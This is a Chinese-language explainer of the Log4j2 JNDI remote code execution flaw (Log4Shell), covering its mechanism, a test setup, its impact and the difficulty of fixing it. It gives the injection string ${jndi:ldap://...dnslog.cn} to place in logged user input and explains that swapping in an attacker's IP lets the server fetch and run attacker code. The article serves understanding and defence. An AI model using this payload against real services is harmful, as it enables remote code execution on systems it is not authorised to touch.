log4j 远程命令执行漏洞原理
Table of Contents
漏洞简单原理:
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利
用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,
实现目标服务器的任意代码执行,获得目标服务器权限。
log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。log4j的功能非常强大,开发人员除了直接记录文本外,还可以使用简单表达式记录动态内容,例如:
http://logger.info(“system propety: ${sys:user.dir}”);
简单表达式使用 ${} 进行包裹,上述示例中,sys:user.dir 表示使用sys解析器,查找user.dir的内容,即在系统环境变量中查找user.dir,以替换 ${sys:user.dir} 进行打印。
log4j中除了sys解析器外,还有很多其他类型的解析器。其中,jndi 解析器就是本次漏洞的源头。
jndi 解析器将通过 jdk 获取 jndi 对象,并使用这个 jndi 对象替换原有文本进行打印。 我们将 jndi 对象理解成为一个从程序外部获取的 Java 程序对象就可以了。jdk中提供了多种不同 jndi 对象的获取方式,获取方式可以称为schema,所以正常的包含jndi的日志记录方式如下:
http://logger.info(“system propety: ${jndi:schema://url}”);
上述schema和url需替换成真实的内容方可生效。
其中,schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。
url是几种不同的schema下jndi的路径。不同的schema,url路径的配置方法不同。常用的schame是ldap,其url写法比较简单:jndi:ldap://http://xxx.dnslog.cn
jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。
因此,如果攻击者能够控制日志打印的内容,就可以使目标服务器从攻击者指定的任意url地址下载代码字节流,攻击者在字节流中附带的代码就会在目标服务器上执行。
那么问题来了,攻击者如何控制服务器上记录的日志内容呢?
非常简单! 大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上 ${jndi:ldap://http://xxx.dnslog.cn} 就可以使web服务从http://xxx.dnslog.cn下载字节流了。
远程命令执行
将http://xxx.dnslog.cn 替换成攻击者的ip后,服务器即会从攻击者ip获取字节流。攻击者可以构造攻击性代码,在服务器上执行程序,从而建立通道,直接在目标服务器上执行shell命令,控制目标服务器。
漏洞环境验证
以下内容针对具备基础开发能力的朋友,不具备开发技能的读者可以直接略过。
本次漏洞针对log4j 2.0-2.14.1版本,在2.15.0-RC2版本中修复。希望建立漏洞环境复现漏洞,可引入 log4j-api 和log4j-core 两个jar包,版本可以是 2.14.1。 出问题的代码在 log4j-core中,所以也有朋友问,不引入log4j-core是不是就没问题? 答案是不引入log4j-core, 那么log4j记日志时会报错。 囧。
简单验证:
可以建立maven quckstart项目,直接尝试记录日志:
贴近实际应用验证:
创建一个java web服务,在filter中使用log4j记录用户访问的url和get参数。 之后即可使用url中附上攻击字符串进行探测。
需要注意的是,在复杂的工程中,如果同时也引用了slf4j ,则log4j会自动将日志记录组件切换为slf4j,如果应用也引入了logback,则最终实现日志记录的可能会是logback,不是log4j。
漏洞影响说明
log4j远程指令执行的原理在于让目标服务器从攻击者指定的ip下载执行代码,因此,只要目标服务器无法主动连接外部网络,则不会存在远程命令执行的风险。实际上,很多大型企业网络架构比较复杂,目标服务器只能接收请求,无法向外连接,风险可控。而互联网、中小型企业网络没有这种保护措施,风险较高。
此外,即便实施了网络隔离,亦存在ddos攻击风险。 攻击发生时,目标服务器将尝试连接攻击者的ip进行文件下载,当网络不通时,这种下载操作将被阻塞,等待超时,导致服务器响应变慢。如果攻击频繁,则可能造成目标服务器瘫痪。
修复方案
log4j使用范围太广,影响面太大,导致修复起来并没有表面看起来的简单。很多项目组仅修复了自身依赖的log4j,却没有考虑到在很多框架、中间件中也使用了log4j。
例如,Structs2、ElasticSearch、Logstash、Flink、Druid、Hadoop Hive、JBoos、Jedis、VMWare等等,这些漏洞的修复工作也比较麻烦。